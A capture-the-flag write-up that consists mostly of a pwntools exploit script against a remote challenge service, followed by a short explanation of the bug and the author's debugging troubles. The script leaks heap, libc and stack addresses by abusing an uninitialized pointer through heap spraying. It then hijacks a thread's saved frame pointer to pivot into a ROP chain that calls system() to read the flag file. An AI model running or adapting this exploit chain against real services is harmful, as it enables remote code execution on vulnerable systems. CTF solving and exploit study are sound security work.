43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
from pwn import *
import time

context.log_level = 'debug'
p = remote('1.95.160.168', 26002)

def send(**kwargs):
payload = b''
for (key, value) in kwargs.items():
if type(key) == str:
key = key.encode()
if type(value) == str:
value = value.encode()
payload += key+b':'+value+b'\n'
p.send(payload)

def register(username, password):
send(
command=b'register',
username=username,
password=password,
)
p.recvuntil('Reigster success!')

def login(username, password):
send(
command=b'login',
username=username,
password=password,
)
p.recvuntil(b'user_token:')
return p.recv(32).decode()

def deregister(user_token):
send(
command=b'deregister',
user_token=user_token
)
p.recvuntil('Deregister success')

#############
# heap leak #
#############

print('='*40 + ' [heap leak] ' + '='*40)

begin = time.time()
for i in range(16):
print(i)
register(str(i), 'a')
token = login(str(i), 'a')
if i == 15:
heap_leak = u64(p.recv(6).ljust(8, b'\0'))
print(hex(heap_leak))
heap_base = heap_leak - 0xd70
print(hex(heap_base))
first_token = token.encode()
break
deregister(token)

print(time.time() - begin)

#############
# libc leak #
#############

print('='*40 + ' [libc leak] ' + '='*40)
begin = time.time()

payload = ''
payload += 'command:login\n'
for i in range(30):
payload += 'a'*0x18 + ':' + 'b'*0x18 + '\n'
p.send(payload)
p.sendline()
p.recvuntil('Invalid packet')

p.sendline('b'*0x800+':c\n')
p.recvuntil('Invalid packet')

payload = ''
for i in range(10):
payload += 'a'*0x18 + ':' + 'b'*0x18 + '\n'
p.send(payload)
p.recvuntil('Invalid packet')

payload = 'command:register\n'
payload += 'username:aaaaaaaaaaaaaaaaaaaaaaa\n'
payload += 'password:aaaaaaaaaaaaaaaaaaaaaaa\n'
p.send(payload)
p.recvuntil('Reigster success!')

aa_token = login('aaaaaaaaaaaaaaaaaaaaaaa', 'aaaaaaaaaaaaaaaaaaaaaaa').encode()
libc_leak = u64(p.recv(6).ljust(8, b'\0'))
print(hex(libc_leak))
libc_base = libc_leak - 0x203b20
print(hex(libc_base))

print(time.time() - begin)

##############
# stack leak #
##############

print('='*40 + ' [stack leak] ' + '='*40)
begin = time.time()

part = b'a'*0x20 + p64(heap_base + 0x1000 - 0x20)[:-2]
payload = b'command:login\n'
for i in range(16):
payload += part + b':'+ part + b'\n'
p.send(payload)

payload = 'command:register\n'
payload += 'username:b\n'
payload += 'password:b\n'
for i in range(0x4):
payload += 'a'*0x20 + ':' + 'b'*0x20 + '\n'
p.send(payload)
p.recvuntil('Reigster success!')

b_token = login('b', 'b').encode()

payload = 'a:' + 'b'*0x100 + '\n'
for i in range(3):
p.send(payload)
p.recvuntil('Invalid')

payload = 'a:' + 'b'*0x120 + '\n'
for i in range(1):
p.send(payload)
p.recvuntil('Invalid')

alignment = (heap_base>>12)&0xf
num_spray = 0x10 - alignment - 3
if num_spray < 0:
num_spray += 16
print(num_spray)
for i in range(num_spray):
for j in range(11):
payload = 'a'*0x40 + ':' + 'b'*0x40 + '\n'
p.send(payload)
p.recvuntil('Invalid')
payload = 'a'*0x40 + ':' + 'b'*0x80 + '\n'
p.send(payload)
p.recvuntil('Invalid')

task_content = b'a'*0x50
task_content = bytes([i ^ 0x3f for i in task_content])

payload = b'command:submit_task\n'
payload += b'user_token:' + b_token + b'\n'
payload += b'task_content:' + task_content + b'\n'
p.send(payload)

payload = 'command:register\n'
payload += 'username:k0\n'
payload += 'password:k0\n'
for i in range(0x10):
payload += 'a'*0x20 + ':' + 'b'*0x20 + '\n'
p.send(payload)
p.recvuntil('Reigster success!')

target_offset = (num_spray * 0x1000) + 0x2e970-0x17000-0x13060-0x1560
print('target_offset', hex(target_offset))
target = heap_base + target_offset - 0x20 - 6
print('target:', hex(target))

payload = 'a'*0x20 + ':' + 'b'*0x20 + '\n'
for i in range(24):
p.send(payload)
p.recvuntil('Invalid packet')

p.sendline()
p.recvuntil('Invalid packet')

payload = b'command:login\n'
part = b'a'*0x20 + p64(target)[:-2]
for i in range(8):
payload += part + b':'+ part + b'\n'
p.send(payload)

payload = 'command:register\n'
payload += 'username:k1\n'
payload += 'password:k1\n'
p.send(payload)
p.recvuntil('Reigster success!')

k1_token = login('k1', 'k1').encode()
task_content = b'a'*8
payload = b'command:submit_task\n'
payload += b'user_token:' + k1_token + b'\n'
payload += b'task_content:' + task_content + b'\n'
p.send(payload)

send(
command=b'login',
username=b'k0',
password=b'k0',
)
p.recvuntil('user_token:')
stack_leak = u64(p.recv(32)[-6:].ljust(8, b'\0'))
print('stack_leak:', hex(stack_leak))
assert stack_leak & 0xfff == 0x638
print(time.time() - begin)

#################
# prepare users #
#################

print('='*40 + ' [prepare users] ' + '='*40)
begin = time.time()

stack_target = stack_leak - 0x10027b8
print('stack_target', hex(stack_target))

payload = 'a'*0x20 + ':' + 'b'*0x20 + '\n'
for i in range(14):
p.send(payload)
p.recvuntil('Invalid packet')

p.sendline()
p.recvuntil('Invalid packet')

payload = b'command:login\n'
part = b'a'*0x20 + p64(stack_target - 0x20)[:-2]
for i in range(0x8):
payload += part + b':'+ part + b'\n'
p.send(payload)

payload = 'command:register\n'
payload += 'username:y2\n'
payload += 'password:y2\n'

p.send(payload)
p.recvuntil('Reigster success!')

heap_target = heap_base + 0x2740
print('heap_target:', hex(heap_target))

payload = b'command:login\n'
part = b'a'*0x20 + p64(heap_target - 0x20)[:-2]
for i in range(0x8):
payload += part + b':'+ part + b'\n'
p.send(payload)

payload = 'command:register\n'
payload += 'username:y3\n'
payload += 'password:y3\n'
p.send(payload)
p.recvuntil('Reigster success!')

print(time.time() - begin)

###########
# offsets #
###########

pop_rdi = libc_base + 0x10f78b
binsh = libc_base + 0x1df5d
system = libc_base + 0x58750

payload = 'command:register\n'
payload += 'username:cat /home/ctf/flag.txt\n'
payload += 'password:cat /home/ctf/flag.txt\n'
p.send(payload)
p.recvuntil('Reigster success!')

#######
# ROP #
#######

print('='*40 + ' [ROP] ' + '='*40)
begin = time.time()

y2_token = login('y2', 'y2').encode()
y3_token = login('y3', 'y3').encode()

print('y2_token:', y2_token)
print('y3_token:', y3_token)

payload_1 = b'command:submit_task\n'
payload_1 += b'user_token:' + first_token + b'\n'
payload_1 += b'task_content:' + task_content + b'\n'

cmd_addr = heap_base + target_offset + 0x2d50
print('cmd_addr:', hex(cmd_addr))

task_content = b'a'*0x8
task_content += p64(pop_rdi)
task_content += p64(cmd_addr)
task_content += p64(pop_rdi+1)
task_content += p64(system)
task_content += p64(0)
task_content = task_content.ljust(0x200)
task_content = bytes([i ^ 0x3f for i in task_content])
assert not 0 in [i for i in task_content]

payload_2 = b'command:submit_task\n'
payload_2 += b'user_token:' + y2_token + b'\n'
payload_2 += b'task_content:' + task_content + b'\n'

task_content = b'\0'*8
task_content = bytes([i ^ 0x3f for i in task_content])
assert not 0 in [i for i in task_content]

payload_3 = b'command:submit_task\n'
payload_3 += b'user_token:' + y3_token + b'\n'
payload_3 += b'task_content:' + task_content + b'\n'

print('ready to go?')
time.sleep(5)

p.send(payload_1)
time.sleep(1)
p.send(payload_2)
time.sleep(1)
p.send(payload_3)

p.interactive()

In this challenge, if you allocate more than 16 users,
it stops assigning the task chunks with the value from the malloc function call,
and this leads to the use of an uninitialized value.
So you can spray chunks with a pointer at offset 0x20, where the tasks pointer is located.
Then, if you allocate a user, it writes a pointer allocated with strdup to that address + 0x20.

When pthread_create is called, it allocates a heap chunk for the TLS of that thread.
You can leak this address by writing zero to the LSB of the token pointer in the heap,
so it can be printed when you log in.

Then you can overwrite the RBP pointer of a child thread which is at the sleep function call.
With this, you can stack pivot to a heap address.

In addition, to prevent a crash caused by the use of [RBP-0x10],
I wrote another heap pointer at [RBP-0x10] so it can have 0 as the RDX value given to memcpy.
Otherwise it crashes, because it would use the chunk size, which is at [RBP-0x8], as a pointer as the destination of memcpy.

This challenge was painful, especially because there was a big distance between where I live and where the challenge server is.
I wrote the solution quite soon, but it never worked initially.
Then I realized that the single inputs I sent were getting split unintentionally, for whatever reason.
So I modified the way I spray to not use a big input at a single time.
Then there were some differences between the stack offsets when it’s remote and when it’s local.
At the end, I have bought a VPS server far away from me and I could figure out what’s happening.